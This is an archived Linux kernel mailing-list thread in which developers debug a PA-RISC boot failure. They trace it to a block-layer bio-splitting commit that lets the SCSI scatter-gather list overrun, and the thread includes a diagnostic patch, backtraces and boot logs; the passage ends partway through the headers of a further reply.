>>               }
>>=20
>> The comment suggests there must be more entries...
>=20
> I'm thinking with the split the scsi driver needs to provide one or =
two extra entires in the sg list.


With the attached patch, I'm able to boot 4.2.0-rc2+ on linux-block at =
commit
54efd50bfd873e2dbf784e0b21a8027ba4299a3e.

I didn't try to optimize the number of extra entries but I know one is =
not enough.

I guess the puzzle is why the number of entries isn't calculated =
correctly in the first place.
Further, why does blk-merge believe that it's okay to go beyond the =
terminator?  Clearly,
the magic number isn't always set, etc.

I added the WARN_ON so I'd know when we run off the end of the the list.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-21--999403916
Content-Disposition: attachment;
	filename=scsi-nents.d.txt
Content-Type: text/plain;
	name="scsi-nents.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/block/blk-merge.c b/block/blk-merge.c
index d9c3a75..8e2566b 100644
--- a/block/blk-merge.c
+++ b/block/blk-merge.c
@@ -327,6 +327,7 @@ new_segment:
 			 * termination bit to avoid doing a full
 			 * sg_init_table() in drivers for each command.
 			 */
+			WARN_ON(sg_is_last (*sg));
 			sg_unmark_end(*sg);
 			*sg =3D sg_next(*sg);
 		}
@@ -392,6 +393,9 @@ int blk_rq_map_sg(struct request_queue *q, struct =
request *rq,
 	if (rq->bio)
 		nsegs =3D __blk_bios_map_sg(q, rq->bio, sglist, &sg);
=20
+	if (!sg)
+		return nsegs;
+
 	if (unlikely(rq->cmd_flags & REQ_COPY_USER) &&
 	    (blk_rq_bytes(rq) & q->dma_pad_mask)) {
 		unsigned int pad_len =3D
@@ -415,8 +419,7 @@ int blk_rq_map_sg(struct request_queue *q, struct =
request *rq,
 		rq->extra_len +=3D q->dma_drain_size;
 	}
=20
-	if (sg)
-		sg_mark_end(sg);
+	sg_mark_end(sg);
=20
 	return nsegs;
 }
diff --git a/drivers/scsi/scsi_lib.c b/drivers/scsi/scsi_lib.c
index b1a2631..b421f03 100644
--- a/drivers/scsi/scsi_lib.c
+++ b/drivers/scsi/scsi_lib.c
@@ -595,6 +595,11 @@ static int scsi_alloc_sgtable(struct =
scsi_data_buffer *sdb, int nents, bool mq)
=20
 	BUG_ON(!nents);
=20
+	/* Provide extra entries in case of split.  */
+	nents +=3D 8;
+	if (nents > SCSI_MAX_SG_SEGMENTS)
+		nents =3D SCSI_MAX_SG_SEGMENTS;
+
 	if (mq) {
 		if (nents <=3D SCSI_MAX_SG_SEGMENTS) {
 			sdb->table.nents =3D nents;

--Apple-Mail-21--999403916--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Tue, 23 Feb 2016 19:06:26 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <56CC9FA2.6020107@gmx.de>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
 <1456026424.2268.5.camel@HansenPartnership.com>
 <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
 <1456078381.2340.5.camel@HansenPartnership.com>
 <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net>
 <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de>
 <1456086490.2340.18.camel@HansenPartnership.com>
 <28582474-5AB3-4022-86FE-E823F5990623@bell.net> <56CA2982.1030607@gmx.de>
 <0905D3D6-635F-4E09-BFD0-2EBE5DA0B0CC@bell.net>
 <951EFC7D-4166-41E5-BD1B-E22EE7884AD7@bell.net>
 <38C40D56-D72B-4F87-AAF3-050391B9546D@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456250811 31614 80.91.229.3 (23 Feb 2016 18:06:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Feb 2016 18:06:51 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 23 19:06:43 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aYHM7-0001tR-OV
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Feb 2016 19:06:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754000AbcBWSGi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Feb 2016 13:06:38 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:57211 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752906AbcBWSGh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Feb 2016 13:06:37 -0500
Original-Received: from [192.168.20.60] ([92.203.58.205]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MK17F-1aXRs80sk9-001Npr; Tue, 23 Feb 2016 19:06:29
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <38C40D56-D72B-4F87-AAF3-050391B9546D@bell.net>
X-Provags-ID: V03:K0:I7qZqROC21TdyxJM5HGxWj7Zo6/2si4AYmhhMFA1CiH2ThGz8kX
 XH2rsOkhhAXRk2b1oAq7cGSESCLntGnX401V0rRQotMhDBwQ+OMy2hi/9VFfEG734BixvYu
 PKAjzGUG2qFUnp63f3GLG2+srj2Qb8KDszVCA679UbGHjNkn9O6J5j4UVP8QnX0Kh8gqb68
 4xeRlUvmNQpeW3f9VOBxg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:s3HWcV/nFnA=:kOTttdneRRzdSrXmv8l6PA
 K/EohQ0CfVgvPfOkWPjg4cHJKm8Kh5m5z2PkANi5zT/sWtuO2YURZko5M9E/Swqi1rnXRdCZN
 iggc7PDg/wztwjFarHZcPODJ0LeIyoVTcViH4DPQOVF6JmVqGRlXbU8ebUI4UEd8RTuh5eURc
 K7dGJlb6722NMTLZl07dtUrU7kIV7CGRk7xwVHzFu5lD209jQHxoFI3UT9Iy9zMqofiFtn9nT
 h0YdooNU2Kl3QlKnBJSSSrIB30tkX9mOqFvusMqgUCCMl/9HZf64+LB7e/fKDX5NDYnqCJu98
 x4CFltZPZ/vIKDb92lXVP9tBZTFHZUKUzb5HIZIwD7LeJoyNtSgYrbUsygMI2j7+g7SVhGC6t
 jbpniPK1tztwqzxW6/2VwbGzy/yojYbWdoE9mcM0LTwHCQW58yREEu4pLrRi/svdM6UaK8LVd
 rGVSqx0EcFs5gzLjq01AI9FZVREB+sAcdP6qNXgSJBxXUXD1+oWICW7PpPt/t5zKo6C4Qe30a
 SihpuscLl8UikjlH8P3zFq02MyspmLR24jUDCvGnj8cj83bT6dDYXV/RLFI6zR8Tu07f7DU08
 OLCrIu9QFHJS3PP01LZHckP2Ws3KbtJ/7L7vimlX6V9xROF1kFNOQOo4F4noqXrG+avZs9Pnb
 sRX5TmRotSEG0e0CWW3MJ9vHOO+1myrZYTY3io9BWblAPHNPO8Mwd8AouxAxcNa86CdIKsqdp
 qO/K+qHFEMm/cyATPXwWh35GY9qTK6dpVbUTErJ8ON5F5MqAEf/+r50dS0KW9nAwcFle4YjR 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26489>

On 23.02.2016 04:04, John David Anglin wrote:
> On 2016-02-21, at 10:24 PM, John David Anglin wrote:
> 
>> On 2016-02-21, at 7:53 PM, John David Anglin wrote:
>>
>>> Backtrace:                                                                      
>>> [<000000004046f4b0>] scsi_init_sgtable+0x70/0xb8                               
>>> [<000000004046f564>] scsi_init_io+0x6c/0x220                                   
>>> [<000000000811c5c0>] sd_setup_read_write_cmnd+0x58/0x968 [sd_mod]              
>>> [<000000000811cf14>] sd_init_command+0x44/0x130 [sd_mod]                       
>>> [<000000004046f81c>] scsi_setup_cmnd+0x104/0x1b0                               
>>> [<000000004046fab8>] scsi_prep_fn+0x100/0x1a0                                  
>>> [<000000004035b9b0>] blk_peek_request+0x1b8/0x298                              
>>> [<0000000040471028>] scsi_request_fn+0xf8/0xa90                                
>>> [<0000000040357244>] __blk_run_queue+0x4c/0x70                                 
>>> [<00000000403802c4>] cfq_insert_request+0x2dc/0x580                            
>>> [<0000000040356404>] __elv_add_request+0x1b4/0x300                             
>>>
>>> We have in blk-merge.c:
>>>
>>>               else {
>>>                       /*
>>>                        * If the driver previously mapped a shorter
>>>                        * list, we could see a termination bit
>>>                        * prematurely unless it fully inits the sg
>>>                        * table on each mapping. We KNOW that there
>>>                        * must be more entries here or the driver
>>>                        * would be buggy, so force clear the
>>>                        * termination bit to avoid doing a full
>>>                        * sg_init_table() in drivers for each command.
>>>                        */
>>>                       if (sg_is_last (*sg))
>>>                         printk ("__blk_segment_map_sg: clearing termination bi
>>> t\n");
>>>                       sg_unmark_end(*sg);
>>>                       *sg = sg_next(*sg);
>>>                       BUG_ON (!*sg);
>>>               }
>>>
>>> The comment suggests there must be more entries...
>>
>> I'm thinking with the split the scsi driver needs to provide one or two extra entires in the sg list.
> 
> 
> With the attached patch, I'm able to boot 4.2.0-rc2+ on linux-block at commit
> 54efd50bfd873e2dbf784e0b21a8027ba4299a3e.
> 
> I didn't try to optimize the number of extra entries but I know one is not enough.
> 
> I guess the puzzle is why the number of entries isn't calculated correctly in the first place.
> Further, why does blk-merge believe that it's okay to go beyond the terminator?  Clearly,
> the magic number isn't always set, etc.
> 
> I added the WARN_ON so I'd know when we run off the end of the the list.

Still fails to boot for me on c3000 
(although I think the patch is going into the right direction!):

[   25.140000] cdrom: Uniform CD-ROM driver Revision: 3.20
[   25.200000] sd 3:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   25.304000] sd 3:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   25.436000]  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 >
[   25.488000]  sda: sda1 sda2 sda3 < sda5 sda6 >
[   25.560000] sd 3:0:6:0: [sdb] Attached SCSI disk
[   25.636000] scsi_id(112): unaligned access to 0x00000000faad5009 at ip=0x000000004100390b
[   25.752000] sd 3:0:5:0: [sda] Attached SCSI disk
[   25.832000] scsi_id(113): unaligned access to 0x00000000fa90a009 at ip=0x000000004100390b
[   25.972000] ------------[ cut here ]------------
[   26.028000] WARNING: at /build/linux-4.4-neu/linux-4.4.2/block/blk-merge.c:466
[   26.116000] random: nonblocking pool is initialized
[   26.172000] Modules linked in: sr_mod cdrom sd_mod ata_generic ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 libata sym53c8xx scsi_transport_spi usbcore scsi_modp
[   26.368000] CPU: 0 PID: 65 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #1 Debian 4.4.2-3
[   26.476000] task: 00000000bbd70b08 ti: 00000000bbea8000 task.ti: 00000000bbea8000
[   26.564000] 
[   26.584000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   26.640000] PSW: 00001000000001001111111100001110 Not tainted
[   26.708000] r00-03  000000ff0804ff0e 00000000409e8380 00000000404f18f4 00000000bbea91e0
[   26.804000] r04-07  00000000409b2b80 0000000000000000 0000000000000000 000000000000001e

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Tue, 23 Feb 2016 14:10:12 -0500
Lines: 104
Approved: news@gmane.org
Message-ID: <56CCAE94.3020109@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
 <1456026424.2268.5.camel@HansenPartnership.com>
 <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
 <1456078381.2340.5.camel@HansenPartnership.com>
 <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net>
 <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de>
 <1456086490.2340.18.camel@HansenPartnership.com>
 <28582474-5AB3-4022-86FE-E823F5990623@bell.net> <56CA2982.1030607@gmx.de>
 <0905D3D6-635F-4E09-BFD0-2EBE5DA0B0CC@bell.net>
 <951EFC7D-4166-41E5-BD1B-E22EE7884AD7@bell.net>
 <38C40D56-D72B-4F87-AAF3-050391B9546D@bell.net> <56CC9FA2.6020107@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456254628 32099 80.91.229.3 (23 Feb 2016 19:10:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Feb 2016 19:10:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 23 20:10:22 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aYILl-0004SH-LU
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Feb 2016 20:10:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752906AbcBWTKU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Feb 2016 14:10:20 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:26213 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751103AbcBWTKT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Feb 2016 14:10:19 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20160223191015.GJNW15276.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 23 Feb 2016 14:10:15 -0500
Original-Received: from [192.168.0.114] (really [65.93.108.221])
          by mtlspm02.bell.net with ESMTP
          id <20160223191015.VYVU21522.mtlspm02.bell.net@[192.168.0.114]>;
          Tue, 23 Feb 2016 14:10:15 -0500
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.6.0
In-Reply-To: <56CC9FA2.6020107@gmx.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.56CCAE97.015B,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26490
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26490>

On 2016-02-23 1:06 PM, Helge Deller wrote:
> On 23.02.2016 04:04, John David Anglin wrote:
>> On 2016-02-21, at 10:24 PM, John David Anglin wrote:
>>
>>> On 2016-02-21, at 7:53 PM, John David Anglin wrote:
>>>
>>>> Backtrace:
>>>> [<000000004046f4b0>] scsi_init_sgtable+0x70/0xb8
>>>> [<000000004046f564>] scsi_init_io+0x6c/0x220
>>>> [<000000000811c5c0>] sd_setup_read_write_cmnd+0x58/0x968 [sd_mod]
>>>> [<000000000811cf14>] sd_init_command+0x44/0x130 [sd_mod]
>>>> [<000000004046f81c>] scsi_setup_cmnd+0x104/0x1b0
>>>> [<000000004046fab8>] scsi_prep_fn+0x100/0x1a0
>>>> [<000000004035b9b0>] blk_peek_request+0x1b8/0x298
>>>> [<0000000040471028>] scsi_request_fn+0xf8/0xa90
>>>> [<0000000040357244>] __blk_run_queue+0x4c/0x70
>>>> [<00000000403802c4>] cfq_insert_request+0x2dc/0x580
>>>> [<0000000040356404>] __elv_add_request+0x1b4/0x300
>>>>
>>>> We have in blk-merge.c:
>>>>
>>>>                else {
>>>>                        /*
>>>>                         * If the driver previously mapped a shorter
>>>>                         * list, we could see a termination bit
>>>>                         * prematurely unless it fully inits the sg
>>>>                         * table on each mapping. We KNOW that there
>>>>                         * must be more entries here or the driver
>>>>                         * would be buggy, so force clear the
>>>>                         * termination bit to avoid doing a full
>>>>                         * sg_init_table() in drivers for each command.
>>>>                         */
>>>>                        if (sg_is_last (*sg))
>>>>                          printk ("__blk_segment_map_sg: clearing termination bi
>>>> t\n");
>>>>                        sg_unmark_end(*sg);
>>>>                        *sg = sg_next(*sg);
>>>>                        BUG_ON (!*sg);
>>>>                }
>>>>
>>>> The comment suggests there must be more entries...
>>> I'm thinking with the split the scsi driver needs to provide one or two extra entires in the sg list.
>>
>> With the attached patch, I'm able to boot 4.2.0-rc2+ on linux-block at commit
>> 54efd50bfd873e2dbf784e0b21a8027ba4299a3e.
>>
>> I didn't try to optimize the number of extra entries but I know one is not enough.
>>
>> I guess the puzzle is why the number of entries isn't calculated correctly in the first place.
>> Further, why does blk-merge believe that it's okay to go beyond the terminator?  Clearly,
>> the magic number isn't always set, etc.
>>
>> I added the WARN_ON so I'd know when we run off the end of the the list.
> Still fails to boot for me on c3000
> (although I think the patch is going into the right direction!):
>
> [   25.140000] cdrom: Uniform CD-ROM driver Revision: 3.20
> [   25.200000] sd 3:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
> [   25.304000] sd 3:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
> [   25.436000]  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 >
> [   25.488000]  sda: sda1 sda2 sda3 < sda5 sda6 >
> [   25.560000] sd 3:0:6:0: [sdb] Attached SCSI disk
> [   25.636000] scsi_id(112): unaligned access to 0x00000000faad5009 at ip=0x000000004100390b
> [   25.752000] sd 3:0:5:0: [sda] Attached SCSI disk
> [   25.832000] scsi_id(113): unaligned access to 0x00000000fa90a009 at ip=0x000000004100390b
> [   25.972000] ------------[ cut here ]------------
> [   26.028000] WARNING: at /build/linux-4.4-neu/linux-4.4.2/block/blk-merge.c:466
This is this warning (not the one I added):

         /*
          * Something must have been wrong if the figured number of
          * segment is bigger than number of req's physical segments
          */
         WARN_ON(nsegs > rq->nr_phys_segments);

We need backtrace to see who called blk_rq_map_sg.  Think driver didn't 
provide enough segments.  Maybe
my "+8" addition should be moved.  I don't think this warning was actual 
failure point.

James mentioned "Apparently in parisc we don't set the max segment size, 
so we inherit 64k even in SCSI drivers."
Can this be changed?

> [   26.116000] random: nonblocking pool is initialized
> [   26.172000] Modules linked in: sr_mod cdrom sd_mod ata_generic ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 libata sym53c8xx scsi_transport_spi usbcore scsi_modp
> [   26.368000] CPU: 0 PID: 65 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #1 Debian 4.4.2-3
> [   26.476000] task: 00000000bbd70b08 ti: 00000000bbea8000 task.ti: 00000000bbea8000
> [   26.564000]
> [   26.584000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [   26.640000] PSW: 00001000000001001111111100001110 Not tainted
> [   26.708000] r00-03  000000ff0804ff0e 00000000409e8380 00000000404f18f4 00000000bbea91e0
> [   26.804000] r04-07  00000000409b2b80 0000000000000000 0000000000000000 000000000000001e

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: [BUG] "block: make generic_make_request handle arbitrarily sized bios" breaks boot on parisc-linux
Date: Tue, 23 Feb 2016 21:28:22 -0500
Lines: 93
Approved: news@gmane.org
Message-ID: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1456280918 23406 80.91.229.3 (24 Feb 2016 02:28:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Feb 2016 02:28:38 +0000 (UTC)
Cc: linux-scsi@vger.kernel.org, Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	kent.overstreet@gmail.com
To: linux-block@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 24 03:28:27 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aYPBi-0004Z6-8r
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Feb 2016 03:28:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753223AbcBXC2Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Feb 2016 21:28:25 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:35869 "EHLO
	torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751957AbcBXC2Y convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Feb 2016 21:28:24 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20160224022822.WTDI15290.torfep02.bell.net@torspm02.bell.net>;
          Tue, 23 Feb 2016 21:28:22 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by torspm02.bell.net
          with ESMTP
          id <20160224022822.SNMO18724.torspm02.bell.net@[192.168.2.10]>;
          Tue, 23 Feb 2016 21:28:22 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.56CD1546.00D7,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26491 gmane.linux.scsi:111179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26491>

The following block change breaks boot on parisc-linux:

commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e
Author: Kent Overstreet <kent.overstreet@gmail.com>
Date:   Thu Apr 23 22:37:18 2015 -0700

   block: make generic_make_request handle arbitrarily sized bios

   The way the block layer is currently written, it goes to great lengths
   to avoid having to split bios; upper layer code (such as bio_add_page())
   checks what the underlying device can handle and tries to always create
   bios that don't need to be split.

   But this approach becomes unwieldy and eventually breaks down with
   stacked devices and devices with dynamic limits, and it adds a lot of
   complexity. If the block layer could split bios as needed, we could
   eliminate a lot of complexity elsewhere - particularly in stacked
   drivers. Code that creates bios can then create whatever size bios are
   convenient, and more importantly stacked drivers don't have to deal with
   both their own bio size limitations and the limitations of the
   (potentially multiple) devices underneath them.  In the future this will
   let us delete merge_bvec_fn and a bunch of other code.

   We do this by adding calls to blk_queue_split() to the various
   make_request functions that need it - a few can already handle arbitrary
   size bios. Note that we add the call _after_ any call to
   blk_queue_bounce(); this means that blk_queue_split() and
   blk_recalc_rq_segments() don't need to be concerned with bouncing
   affecting segment merging.

   Some make_request_fn() callbacks were simple enough to audit and verify
   they don't need blk_queue_split() calls. The skipped ones are:

    * nfhd_make_request (arch/m68k/emu/nfblock.c)
    * axon_ram_make_request (arch/powerpc/sysdev/axonram.c)
    * simdisk_make_request (arch/xtensa/platforms/iss/simdisk.c)
    * brd_make_request (ramdisk - drivers/block/brd.c)
    * mtip_submit_request (drivers/block/mtip32xx/mtip32xx.c)
    * loop_make_request
    * null_queue_bio
    * bcache's make_request fns

   Some others are almost certainly safe to remove now, but will be left
   for future patches.

   Cc: Jens Axboe <axboe@kernel.dk>
   Cc: Christoph Hellwig <hch@infradead.org>
   Cc: Al Viro <viro@zeniv.linux.org.uk>
   Cc: Ming Lei <ming.lei@canonical.com>
   Cc: Neil Brown <neilb@suse.de>
   Cc: Alasdair Kergon <agk@redhat.com>
   Cc: Mike Snitzer <snitzer@redhat.com>
   Cc: dm-devel@redhat.com
   Cc: Lars Ellenberg <drbd-dev@lists.linbit.com>
   Cc: drbd-user@lists.linbit.com
   Cc: Jiri Kosina <jkosina@suse.cz>
   Cc: Geoff Levand <geoff@infradead.org>
   Cc: Jim Paris <jim@jtan.com>
   Cc: Philip Kelleher <pjk1939@linux.vnet.ibm.com>
   Cc: Minchan Kim <minchan@kernel.org>
   Cc: Nitin Gupta <ngupta@vflare.org>
   Cc: Oleg Drokin <oleg.drokin@intel.com>
   Cc: Andreas Dilger <andreas.dilger@intel.com>
   Acked-by: NeilBrown <neilb@suse.de> (for the 'md/md.c' bits)
   Acked-by: Mike Snitzer <snitzer@redhat.com>
   Reviewed-by: Martin K. Petersen <martin.petersen@oracle.com>
   Signed-off-by: Kent Overstreet <kent.overstreet@gmail.com>
   [dpark: skip more mq-based drivers, resolve merge conflicts, etc.]
   Signed-off-by: Dongsu Park <dpark@posteo.net>
   Signed-off-by: Ming Lin <ming.l@ssi.samsung.com>
   Signed-off-by: Jens Axboe <axboe@fb.com>

This thread on the linux-parisc has most of the discussion and analysis:
http://www.spinics.net/lists/linux-parisc/msg06710.html

Essentially, the SCSI layer underestimates the number of sg segments needed and we run off the end of the sg list and crash.
This happens because the protect bit is ignored.  As a result 4.3 and later kernels fail to boot.  This includes the current Debian
kernel for hppa.

Hopefully, the block group can help resolve this issue.  We can help with testing if needed.

Thanks,
Dave Anglin
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ming Lei <tom.leiming@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized
 bios" breaks boot on parisc-linux
Date: Wed, 24 Feb 2016 15:59:22 +0800
Lines: 140
Approved: news@gmane.org
Message-ID: <CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=94eb2c0327209ec937052c7f712c
X-Trace: ger.gmane.org 1456300771 9797 80.91.229.3 (24 Feb 2016 07:59:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Feb 2016 07:59:31 +0000 (UTC)
Cc: linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 24 08:59:27 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
